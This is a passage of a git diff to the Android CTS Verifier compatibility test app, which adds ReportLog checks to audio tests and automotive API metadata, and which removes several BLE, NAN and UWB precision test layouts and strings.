android:value="android.car.hardware.power.CarPowerManager#getCurrentPowerPolicy" /> </activity> <activity-alias android:name=".car.CarDockActivity2" @@ -5713,6 +5812,8 @@ android:value="android.hardware.type.automotive"/> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.car.VehiclePropertyIds#GEAR_SELECTION" /> </activity> <activity android:name=".car.ParkingBrakeOnTestActivity" @@ -5728,6 +5829,8 @@ android:value="android.hardware.type.automotive"/> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.car.VehiclePropertyIds#PARKING_BRAKE_ON" /> </activity> <activity android:name=".car.CarLauncherTestActivity" @@ -6172,6 +6275,7 @@ <category android:name="android.cts.intent.category.MANUAL_TEST" /> </intent-filter> <meta-data android:name="test_category" android:value="@string/test_category_logcat" /> + <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" /> </activity> <activity android:name=".displaycutout.DisplayCutoutTestActivity" diff --git a/apps/CtsVerifier/res/layout/ble_rssi_precision.xml b/apps/CtsVerifier/res/layout/ble_rssi_precision.xml deleted file mode 100644 index 5f01e1fc442..00000000000 --- a/apps/CtsVerifier/res/layout/ble_rssi_precision.xml +++ /dev/null @@ -1,60 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!-- - ~ Copyright (C) 2022 The Android Open Source Project - ~ - ~ Licensed under the Apache License, Version 2.0 (the "License"); - ~ you may not use this file except in compliance with the License. - ~ You may obtain a copy of the License at - ~ - ~ http://www.apache.org/licenses/LICENSE-2.0 - ~ - ~ Unless required by applicable law or agreed to in writing, software - ~ distributed under the License is distributed on an "AS IS" BASIS, - ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - ~ See the License for the specific language governing permissions and - ~ limitations under the License. - --> -<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" - xmlns:tools="http://schemas.android.com/tools" - android:layout_width="match_parent" - android:layout_height="match_parent" - android:orientation="vertical" - style="@style/RootLayoutPadding" - tools:ignore="Autofill"> - - <ScrollView - android:layout_width="fill_parent" - android:layout_height="wrap_content"> - - <LinearLayout - android:orientation="vertical" - android:layout_width="match_parent" - android:layout_height="wrap_content"> - - <TextView - android:text="@string/ble_rssi_precision_test_instructions" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:scrollbars="vertical" /> - - <EditText - android:id="@+id/report_rssi_range" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:hint="@string/report_ble_rssi_range" - android:inputType="number" /> - - <EditText - android:id="@+id/report_reference_device" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:hint="@string/report_reference_device" - android:inputType="text" /> - - <include - android:layout_width="match_parent" - android:layout_height="wrap_content" - layout="@layout/pass_fail_buttons" /> - </LinearLayout> - </ScrollView> -</RelativeLayout> diff --git a/apps/CtsVerifier/res/layout/ble_rx_tx_calibration.xml b/apps/CtsVerifier/res/layout/ble_rx_tx_calibration.xml deleted file mode 100644 index 3ca955b7e30..00000000000 --- a/apps/CtsVerifier/res/layout/ble_rx_tx_calibration.xml +++ /dev/null @@ -1,66 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?><!-- - ~ Copyright (C) 2022 The Android Open Source Project - ~ - ~ Licensed under the Apache License, Version 2.0 (the "License"); - ~ you may not use this file except in compliance with the License. - ~ You may obtain a copy of the License at - ~ - ~ http://www.apache.org/licenses/LICENSE-2.0 - ~ - ~ Unless required by applicable law or agreed to in writing, software - ~ distributed under the License is distributed on an "AS IS" BASIS, - ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - ~ See the License for the specific language governing permissions and - ~ limitations under the License. - --> -<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" - xmlns:tools="http://schemas.android.com/tools" - android:layout_width="match_parent" - android:layout_height="match_parent" - android:orientation="vertical" - style="@style/RootLayoutPadding" - tools:ignore="Autofill"> - - <ScrollView - android:layout_width="fill_parent" - android:layout_height="wrap_content"> - - <LinearLayout - android:orientation="vertical" - android:layout_width="match_parent" - android:layout_height="wrap_content"> - - <TextView - android:text="@string/ble_rx_tx_calibration_test_instructions" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:scrollbars="vertical" /> - - <EditText - android:id="@+id/report_channels_rssi_range" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:hint="@string/report_channels_ble_rssi_range" - android:inputType="number" /> - - <EditText - android:id="@+id/report_cores_rssi_range" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:hint="@string/report_cores_ble_rssi_range" - android:inputType="number" /> - - <EditText - android:id="@+id/report_reference_device" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:hint="@string/report_reference_device" - android:inputType="text" /> - - <include - android:layout_width="match_parent" - android:layout_height="wrap_content" - layout="@layout/pass_fail_buttons" /> - </LinearLayout> - </ScrollView> -</RelativeLayout> diff --git a/apps/CtsVerifier/res/layout/clipboard_preview.xml b/apps/CtsVerifier/res/layout/clipboard_preview.xml index 85f38c8eef7..efec118cb4d 100644 --- a/apps/CtsVerifier/res/layout/clipboard_preview.xml +++ b/apps/CtsVerifier/res/layout/clipboard_preview.xml @@ -31,86 +31,6 @@ android:layout_marginBottom="100dp" android:layout_marginTop="30dp" android:text="@string/clipboard_preview_test_copy_button"/> - - <TableLayout - android:layout_width="match_parent" - android:layout_height="wrap_content"> - <TableRow - android:layout_width="match_parent" - android:layout_height="50dp"> - <View android:layout_weight="3" - android:layout_height="50dp"/> - <Button android:layout_weight="1" - android:id="@+id/clipboard_preview_test_b1" - android:layout_width="50dp" - android:layout_height="50dp" - android:text="1"/> - <Button android:layout_weight="1" - android:id="@+id/clipboard_preview_test_b2" - android:layout_width="50dp" - android:layout_height="50dp" - android:text="2"/> - <Button android:layout_weight="1" - android:id="@+id/clipboard_preview_test_b3" - android:layout_width="50dp" - android:layout_height="50dp" - android:text="3"/> - <View android:layout_weight="3" - android:layout_height="50dp"/> - </TableRow> - <TableRow - android:layout_width="match_parent" - android:layout_height="50dp"> - <View android:layout_weight="3" - android:layout_height="50dp"/> - <Button android:layout_weight="1" - android:id="@+id/clipboard_preview_test_b4" - android:layout_width="50dp" - android:layout_height="50dp" - android:text="4"/> - <Button android:layout_weight="1" - android:id="@+id/clipboard_preview_test_b5" - android:layout_width="50dp" - android:layout_height="50dp" - android:text="5"/> - <Button android:layout_weight="1" - android:id="@+id/clipboard_preview_test_b6" - android:layout_width="50dp" - android:layout_height="50dp" - android:text="6"/> - <View android:layout_weight="3" - android:layout_height="50dp"/> - </TableRow> - <TableRow - android:layout_width="match_parent" - android:layout_height="50dp"> - <View android:layout_weight="3" - android:layout_height="match_parent"/> - <Button android:layout_weight="1" - android:id="@+id/clipboard_preview_test_b7" - android:layout_width="50dp" - android:layout_height="match_parent" - android:text="7"/> - <Button android:layout_weight="1" - android:id="@+id/clipboard_preview_test_b8" - android:layout_width="50dp" - android:layout_height="match_parent" - android:text="8"/> - <Button android:layout_weight="1" - android:id="@+id/clipboard_preview_test_b9" - android:layout_width="50dp" - android:layout_height="match_parent" - android:text="9"/> - <View android:layout_weight="3" - android:layout_height="50dp"/> - </TableRow> - </TableLayout> - <Button - android:id="@+id/clipboard_preview_test_b0" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:layout_gravity="center" - android:text="0"/> <include android:id="@+id/clipboard_preview_test_pass_fail" android:layout_width="match_parent" diff --git a/apps/CtsVerifier/res/layout/nan_precision.xml b/apps/CtsVerifier/res/layout/nan_precision.xml deleted file mode 100644 index c81a9c4f120..00000000000 --- a/apps/CtsVerifier/res/layout/nan_precision.xml +++ /dev/null @@ -1,92 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!-- - ~ Copyright (C) 2022 The Android Open Source Project - ~ - ~ Licensed under the Apache License, Version 2.0 (the "License"); - ~ you may not use this file except in compliance with the License. - ~ You may obtain a copy of the License at - ~ - ~ http://www.apache.org/licenses/LICENSE-2.0 - ~ - ~ Unless required by applicable law or agreed to in writing, software - ~ distributed under the License is distributed on an "AS IS" BASIS, - ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - ~ See the License for the specific language governing permissions and - ~ limitations under the License. - --> -<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" - android:layout_width="match_parent" - android:layout_height="match_parent" - android:orientation="vertical" - style="@style/RootLayoutPadding"> - <ScrollView xmlns:android="http://schemas.android.com/apk/res/android" - android:layout_width="fill_parent" - android:layout_height="wrap_content"> - <LinearLayout android:orientation="vertical" - android:layout_width="match_parent" - android:layout_height="wrap_content"> - <TextView android:text="@string/nan_precision_instruction" - android:id="@+id/nan_precision_instruction" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:scrollbars="vertical"/> - <LinearLayout android:orientation="vertical" - android:layout_width="match_parent" - android:layout_height="wrap_content"> - <EditText android:id="@+id/nan_bandwidth" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:inputType="number" - android:hint="@string/report_nan_bandwidth_mhz"/> - <EditText android:id="@+id/distance_range_10cm_gt_68p" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:inputType="numberDecimal" - android:hint="@string/report_distance_range_10cm_gt_68p"/> - <EditText android:id="@+id/distance_range_1m_gt_68p" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:inputType="numberDecimal" - android:hint="@string/report_distance_range_1m_gt_68p"/> - <EditText android:id="@+id/distance_range_3m_gt_68p" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:inputType="numberDecimal" - android:hint="@string/report_distance_range_3m_gt_68p"/> - <EditText android:id="@+id/distance_range_5m_gt_68p" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:inputType="numberDecimal" - android:hint="@string/report_distance_range_5m_gt_68p"/> - <EditText android:id="@+id/distance_range_10cm_gt_90p" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:inputType="numberDecimal" - android:hint="@string/report_distance_range_10cm_gt_90p"/> - <EditText android:id="@+id/distance_range_1m_gt_90p" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:inputType="numberDecimal" - android:hint="@string/report_distance_range_1m_gt_90p"/> - <EditText android:id="@+id/distance_range_3m_gt_90p" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:inputType="numberDecimal" - android:hint="@string/report_distance_range_3m_gt_90p"/> - <EditText android:id="@+id/distance_range_5m_gt_90p" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:inputType="numberDecimal" - android:hint="@string/report_distance_range_5m_gt_90p"/> - <EditText android:id="@+id/reference_device" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:hint="@string/report_reference_device"/> - </LinearLayout> - - <include android:layout_width="match_parent" - android:layout_height="wrap_content" - layout="@layout/pass_fail_buttons"/> - </LinearLayout> - </ScrollView> -</RelativeLayout> diff --git a/apps/CtsVerifier/res/layout/uwb_precision.xml b/apps/CtsVerifier/res/layout/uwb_precision.xml deleted file mode 100644 index 14e996d6f5f..00000000000 --- a/apps/CtsVerifier/res/layout/uwb_precision.xml +++ /dev/null @@ -1,51 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!-- Copyright (C) 2022 The Android Open Source Project - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. ---> -<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" - android:layout_width="match_parent" - android:layout_height="match_parent" - android:orientation="vertical" - style="@style/RootLayoutPadding"> - <ScrollView xmlns:android="http://schemas.android.com/apk/res/android" - android:layout_width="fill_parent" - android:layout_height="wrap_content"> - <LinearLayout android:orientation="vertical" - android:layout_width="match_parent" - android:layout_height="wrap_content"> - <TextView android:text="@string/uwb_precision_instruction" - android:id="@+id/uwb_precision_instruction" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:scrollbars="vertical"/> - <LinearLayout android:orientation="vertical" - android:layout_width="match_parent" - android:layout_height="wrap_content"> - <EditText android:id="@+id/distance_range_cm" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:inputType="numberDecimal" - android:hint="@string/report_distance_range_cm"/> - <EditText android:id="@+id/reference_device" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:hint="@string/report_reference_device"/> - </LinearLayout> - - <include android:layout_width="match_parent" - android:layout_height="wrap_content" - layout="@layout/pass_fail_buttons"/> - </LinearLayout> - </ScrollView> -</RelativeLayout> diff --git a/apps/CtsVerifier/res/layout/uwb_short_range.xml b/apps/CtsVerifier/res/layout/uwb_short_range.xml deleted file mode 100644 index 9afc6e5a6b4..00000000000 --- a/apps/CtsVerifier/res/layout/uwb_short_range.xml +++ /dev/null @@ -1,51 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!-- Copyright (C) 2022 The Android Open Source Project - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. ---> -<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" - android:layout_width="match_parent" - android:layout_height="match_parent" - android:orientation="vertical" - style="@style/RootLayoutPadding"> - <ScrollView xmlns:android="http://schemas.android.com/apk/res/android" - android:layout_width="fill_parent" - android:layout_height="wrap_content"> - <LinearLayout android:orientation="vertical" - android:layout_width="match_parent" - android:layout_height="wrap_content"> - <TextView android:text="@string/uwb_short_range_instruction" - android:id="@+id/uwb_short_range_instruction" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:scrollbars="vertical"/> - <LinearLayout android:orientation="vertical" - android:layout_width="match_parent" - android:layout_height="wrap_content"> - <EditText android:id="@+id/distance_median_meters" - android:layout_width="wrap_content" - android:inputType="numberDecimal" - android:layout_height="wrap_content" - android:hint="@string/report_distance_median_meters"/> - <EditText android:id="@+id/reference_device" - android:layout_width="wrap_content" - android:layout_height="wrap_content" - android:hint="@string/report_reference_device"/> - </LinearLayout> - - <include android:layout_width="match_parent" - android:layout_height="wrap_content" - layout="@layout/pass_fail_buttons"/> - </LinearLayout> - </ScrollView> -</RelativeLayout> diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml index 9efb079cbe5..631f8235e82 100644 --- a/apps/CtsVerifier/res/values/strings.xml +++ b/apps/CtsVerifier/res/values/strings.xml @@ -32,6 +32,16 @@ <string name="finish_button_text">Finish</string> <string name="fail_and_next_button_text">Fail and Next</string> + <!-- Strings for CtsReportLog warning --> + <string name="reportlog_warning_title">CTS-Verifier Report Log</string> + <string name="reportlog_warning_body">Can\'t create folder for CTS-Verifier Report Logs. + \n\nPlease enable Report Log creation by exiting CTS Verifier and running the following commands: + \n\n<code>adb shell appops set com.android.cts.verifier android:read_device_identifiers allow</code> + \n\n<code>adb shell appops set com.android.cts.verifier MANAGE_EXTERNAL_STORAGE 0</code> + \n\nTest instructions are found in the \"Using CTS Verifier\" document found at + <a href="https://source.android.com/compatibility/cts/verifier">https://source.android.com/compatibility/cts/verifier</a> + </string> + <!-- Strings for TestListActivity --> <string name="test_category_audio">Audio</string> <string name="test_category_camera">Camera</string> @@ -301,9 +311,12 @@ </string> <string name="clipboard_preview_test_instructions"> Press the \'Copy\' button to copy the secret code to the clipboard. - \n\nUse the clipboard preview UI, or the clipboard editor component to view the secret code. - \n\nEnter the secret code using the buttons below. + \nDo not press any other buttons after you press the \'Copy\' button. + \n\n If nothing happens, press Fail. + \n\n If you see the word "FAIL" appear on screen, press Fail. + \n\n If you see a confirmation that content has been copied to the clipboard, press Pass. </string> + <string name="clipboard_preview_test_secret">FAIL</string> <string name="clipboard_preview_test_copy_button">Copy</string> @@ -778,7 +791,7 @@ <!-- BLE Advertising Set test strings --> <string name="ble_advertising_set_test_name">Bluetooth LE Advertising Set Test</string> <string name="ble_advertising_set_test_info">Bluetooth LE Advertising Set tests AdvertisingSet and AdvertisingSetCallback APIs.</string> - <string name="ble_advertising_set_test_instruction">Press the \"Set Up\" button first, then start the test by pressing the \"Start Test\" button. UI thread may freeze for a few seconds while enabling/disabling bluetooth adapter.</string> + <string name="ble_advertising_set_test_instruction">Press the \"Start Test\" button. UI thread may freeze for a few seconds while enabling/disabling bluetooth adapter.</string> <string name="ble_advertising_set_start_test">Start Test</string> <string name="ble_advertising_set_running_test">Running Test...</string> <string name="ble_advertising_set_finished_test">Finished Test</string> @@ -2125,10 +2138,6 @@ device was p2p device. Check the test case on the other device.</string> <string name="p2p_connection_error"> Test failed.\n\nFailed to establish a p2p connection.</string> - <string name="p2p_connection_latency_error"> - Test failed. \n\nConnection was expected to be established within %1$dms. But took=%2$dms. - \n\nPlease ensure that the Group Owner is ready on the other device before running - this test</string> <string name="p2p_detect_disconnection_error"> Test failed.\n\nFailed to detect client disconnection.</string> <string name="p2p_disconnect_error"> @@ -2450,16 +2459,6 @@ icon, large icon, notification title, notification text, and two action buttons. If this device does not support heads-up notifications, press Pass.</string> <string name="action">Action %1$d</string> - <string name="media_controls_title">Media Controls Test</string> - <string name="media_controls_info">This test checks that media controls appear in the shade for - applications that post a media style notification.</string> - <string name="media_controls_visible">Pull down the notification shade and check that the media - controls from the CTS Verifier app are visible. - </string> - <string name="media_controls_output_switcher_chip">Pull down the notification shade and look at - the media controls for the CTS Verifier app. - Check that it contains an affordance to switch between available media routes. - </string> <string name="tile_service_name">Tile Service for CTS Verifier</string> <string name="tiles_test">Tile Service Test</string> <string name="tiles_info">This test checks that a Tile Service added by a third party @@ -3755,6 +3754,11 @@ You should be prompted to select credentials; choose the ones you just installed Device Owner. Then press the button below, and check that CTSVerifier is NOT Device Owner anymore. </string> + <string name="device_owner_remove_device_owner_test_info_on_tv"> + Please check in Settings > Privacy > Security & Restrictions > Device Administrators if CTSVerifier is + Device Owner. Then press the button below, and check that CTSVerifier is NOT Device + Owner anymore. + </string> <string name="remove_device_owner_button">Remove device owner</string> <string name="device_owner_check_device_owner_test">Check device owner</string> <string name="device_owner_check_profile_owner_test">Check profile owner</string> @@ -4059,12 +4063,13 @@ You should be prompted to select credentials; choose the ones you just installed <string name="device_owner_disallow_config_bt">Disallow configuring Bluetooth</string> <string name="device_owner_disallow_config_bt_info"> Please press the Set restriction button to set the user restriction. - Then press Go to open the Bluetooth page in Settings. - Confirm that:\n - \n + Then press Go, you should either see (a) the Bluetooth settings page or (b) trigger a support message directly.\n + In the case of (a), confirm that:\n - You cannot view Bluetooth devices in range.\n - Trying to edit, add or remove any already paired devices triggers a support message.\n \n + In the case of (b) this step is successful.\n + \n Use the Back button to return to this page. </string> <string name="device_owner_disallow_config_wifi">Disallow configuring WiFi</string> @@ -5484,6 +5489,7 @@ You should be prompted to select credentials; choose the ones you just installed <string name="audio_general_test_not_run">Test Not Run</string> <string name="audio_general_testnotcompleted">Test not completed.</string> + <string name="audio_general_reportlogtest">[Can\'t Write ReportLog]</string> <!-- Audio Loopback Latency Test --> <string name="audio_loopback_latency_test">Audio Loopback Latency Test</string> @@ -6385,6 +6391,12 @@ Follow the instructions on the screen to measure the frequency response for the bubble does NOT appear on screen. Verify that there is a notification in the notification shade.</string> <string name="bubbles_test_lowram_button">Add bubble</string> + <!-- Disable bubbles by config_supportsBubble --> + <string name="bubbles_test_disable_config_title">No bubbles on bubbles disabled device</string> + <string name="bubbles_test_disable_config_verify">Click the button below and verify that a + bubble does NOT appear on screen. Verify that there is a notification in the notification + shade.</string> + <string name="bubbles_test_disable_config_button">Add bubble</string> <!-- Bubbles end of test summary --> <string name="bubbles_test_summary_title">Test Complete</string> <string name="bubbles_test_summary">%1$d out of %2$d tests passed</string> diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java index b013bb7180e..a93e3b58c33 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java @@ -74,6 +74,10 @@ public class CtsVerifierReportLog extends ReportLog { } } + public boolean isOpen() { + return mStore != null; + } + /** * Closes report file. Static functions that do not have access to instrumentation can * use this to close report logs. Summary, if present, is not reported to instrumentation, hence diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java index 0294ff78e7c..36975c251d7 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java @@ -32,7 +32,6 @@ import android.database.Cursor; import android.os.Bundle; import android.os.PowerManager; import android.os.PowerManager.WakeLock; -import android.util.Log; import android.view.LayoutInflater; import android.view.MenuItem; import android.view.View; @@ -143,11 +142,13 @@ public class PassFailButtons { public static class Activity extends android.app.Activity implements PassFailActivity { private WakeLock mWakeLock; - private final CtsVerifierReportLog mReportLog; + private CtsVerifierReportLog mReportLog; private final TestResultHistoryCollection mHistoryCollection; + protected boolean mRequireReportLogToPass; + public Activity() { - this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName()); + newReportLog(); this.mHistoryCollection = new TestResultHistoryCollection(); } @@ -159,6 +160,10 @@ public class PassFailButtons { .newWakeLock(PowerManager.SCREEN_DIM_WAKE_LOCK, "PassFailButtons"); mWakeLock.acquire(); } + + if (!this.mReportLog.isOpen()) { + showReportLogWarningDialog(this); + } } @Override @@ -206,12 +211,25 @@ public class PassFailButtons { getHistoryCollection()); } + protected CtsVerifierReportLog newReportLog() { + return mReportLog = new CtsVerifierReportLog( + getReportFileName(), getReportSectionName()); + } + @Override public CtsVerifierReportLog getReportLog() { return mReportLog; } /** + * A mechanism to block tests from passing if no ReportLog data has been collected. + * @return true if the ReportLog is open OR if the test does not require that. + */ + public boolean isReportLogOkToPass() { + return !mRequireReportLogToPass || mReportLog.isOpen(); + } + + /** * @return The name of the file to store the (suite of) ReportLog information. */ @Override @@ -527,6 +545,12 @@ public class PassFailButtons { activity.showDialog(INFO_DIALOG_ID, args); } + protected static void showReportLogWarningDialog(final android.app.Activity activity) { + showInfoDialog(activity, + R.string.reportlog_warning_title, R.string.reportlog_warning_body, -1); + } + + protected static Dialog createDialog(final android.app.Activity activity, int id, Bundle args) { switch (id) { case INFO_DIALOG_ID: diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java index 528d9149588..83b32def714 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java @@ -182,12 +182,15 @@ public class AnalogHeadsetAudioActivity mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass_noheadset)); return true; } else { - boolean pass = mPlugIntentReceived && - mHeadsetDeviceInfo != null && - mPlaybackSuccess && - (mHasHeadsetHook || mHasPlayPause) && mHasVolUp && mHasVolDown; + boolean pass = isReportLogOkToPass() + && mPlugIntentReceived + && mHeadsetDeviceInfo != null + && mPlaybackSuccess + && (mHasHeadsetHook || mHasPlayPause) && mHasVolUp && mHasVolDown; if (pass) { mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass)); + } else if (!isReportLogOkToPass()) { + mResultsTxt.setText(getResources().getString(R.string.audio_general_reportlogtest)); } return pass; } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java index 48795efc142..3c1b8a1151e 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java @@ -542,8 +542,10 @@ public class AudioAEC extends AudioFrequencyActivity implements View.OnClickList Log.v(TAG, "Test EndedOk. " + testId + " str:"+str); showView(mProgress, false); mResultTest.setText("test completed. " + str); - if (mTestAECPassed) { - getPassButton().setEnabled(true);; + if (!isReportLogOkToPass()) { + mResultTest.setText(getResources().getString(R.string.audio_general_reportlogtest)); + } else if (mTestAECPassed) { + getPassButton().setEnabled(true); } } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java index 38d99b4b827..030e44f58ba 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java @@ -32,6 +32,7 @@ import android.widget.TextView; import com.android.compatibility.common.util.ResultType; import com.android.compatibility.common.util.ResultUnit; +import com.android.cts.verifier.audio.audiolib.AudioDeviceUtils; import com.android.cts.verifier.CtsVerifierReportLog; import com.android.cts.verifier.R; @@ -127,14 +128,8 @@ public class AudioInputRoutingNotificationsActivity extends AudioWiredDeviceBase String msg = mContext.getResources().getString( R.string.audio_routingnotification_recordRoutingMsg); AudioDeviceInfo routedDevice = audioRecord.getRoutedDevice(); - CharSequence deviceName = routedDevice != null ? routedDevice.getProductName() : "none"; - mConnectedPeripheralName = deviceName.toString(); - - int deviceType = routedDevice != null ? routedDevice.getType() : -1; - textView.setText(msg + " - " + - deviceName + " [0x" + Integer.toHexString(deviceType) + "]" + - " - " + mNumRoutingNotifications); - + mConnectedPeripheralName = AudioDeviceUtils.formatDeviceName(routedDevice); + textView.setText(msg + ": " + mConnectedPeripheralName); mRoutingNotificationReceived = true; calculatePass(); } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java index a6bd4add994..413734bdaad 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java @@ -127,11 +127,11 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity { private TestSpec[] mTestSpecs = new TestSpec[NUM_TEST_ROUTES]; class TestSpec { + private static final String TAG = "AudioLoopbackLatencyActivity.TestSpec"; // impossibly low latencies (indicating something in the test went wrong). protected static final double LOWEST_REASONABLE_LATENCY_MILLIS = 1.0; final int mRouteId; - // final double mMustLatencyMS; // runtime assigned device ID static final int DEVICEID_NONE = -1; @@ -151,7 +151,6 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity { boolean mRouteAvailable; // Have we seen this route/device at any time boolean mRouteConnected; // is the route available NOW boolean mTestRun; - // boolean mTestPass; TestSpec(int routeId, double requiredConfidence) { mRouteId = routeId; @@ -181,14 +180,6 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity { mMeanConfidence = StatUtils.calculateMean(mConfidence); } - boolean getRouteAvailable() { - return mRouteAvailable; - } - - boolean getTestRun() { - return mTestRun; - } - boolean isMeasurementValid() { return mTestRun && mMeanLatencyMS > 1.0 && mMeanConfidence >= mRequiredConfidence; } @@ -224,60 +215,42 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity { } // ReportLog Schema (per route) - private static final String KEY_ROUTEAVAILABLE = "route_available"; - private static final String KEY_ROUTECONNECTED = "route_connected"; - private static final String KEY_ROUTERUN = "route_run"; - private static final String KEY_LATENCY = "route_latency"; - private static final String KEY_CONFIDENCE = "route_confidence"; - private static final String KEY_MEANABSDEVIATION = "route_mean_absolute_deviation"; - private static final String KEY_IS_PERIPHERAL_ATTACHED = "route_is_peripheral_attached"; - private static final String KEY_INPUT_PERIPHERAL_NAME = "route_input_peripheral"; - private static final String KEY_OUTPUT_PERIPHERAL_NAME = "route_output_peripheral"; - private static final String KEY_TEST_PERIPHERAL = "route_test_peripheral"; - - String makeSectionKey(String key) { - return Integer.toString(mRouteId) + "_" + key; - } + private static final String KEY_ROUTEINDEX = "route_index"; + private static final String KEY_LATENCY = "latency"; + private static final String KEY_CONFIDENCE = "confidence"; + private static final String KEY_MEANABSDEVIATION = "mean_absolute_deviation"; + private static final String KEY_IS_PERIPHERAL_ATTACHED = "is_peripheral_attached"; + private static final String KEY_INPUT_PERIPHERAL_NAME = "input_peripheral"; + private static final String KEY_OUTPUT_PERIPHERAL_NAME = "output_peripheral"; + private static final String KEY_TEST_PERIPHERAL = "test_peripheral"; void recordTestResults(CtsVerifierReportLog reportLog) { reportLog.addValue( - makeSectionKey(KEY_ROUTEAVAILABLE), - mRouteAvailable ? 1 : 0, - ResultType.NEUTRAL, - ResultUnit.NONE); - - reportLog.addValue( - makeSectionKey(KEY_ROUTECONNECTED), - mRouteConnected ? 1 : 0, - ResultType.NEUTRAL, - ResultUnit.NONE); - - reportLog.addValue( - makeSectionKey(KEY_ROUTERUN), - mTestRun ? 1 : 0, + KEY_ROUTEINDEX, + mRouteId, ResultType.NEUTRAL, ResultUnit.NONE); reportLog.addValue( - makeSectionKey(KEY_LATENCY), + KEY_LATENCY, mMeanLatencyMS, ResultType.LOWER_BETTER, ResultUnit.MS); reportLog.addValue( - makeSectionKey(KEY_CONFIDENCE), + KEY_CONFIDENCE, 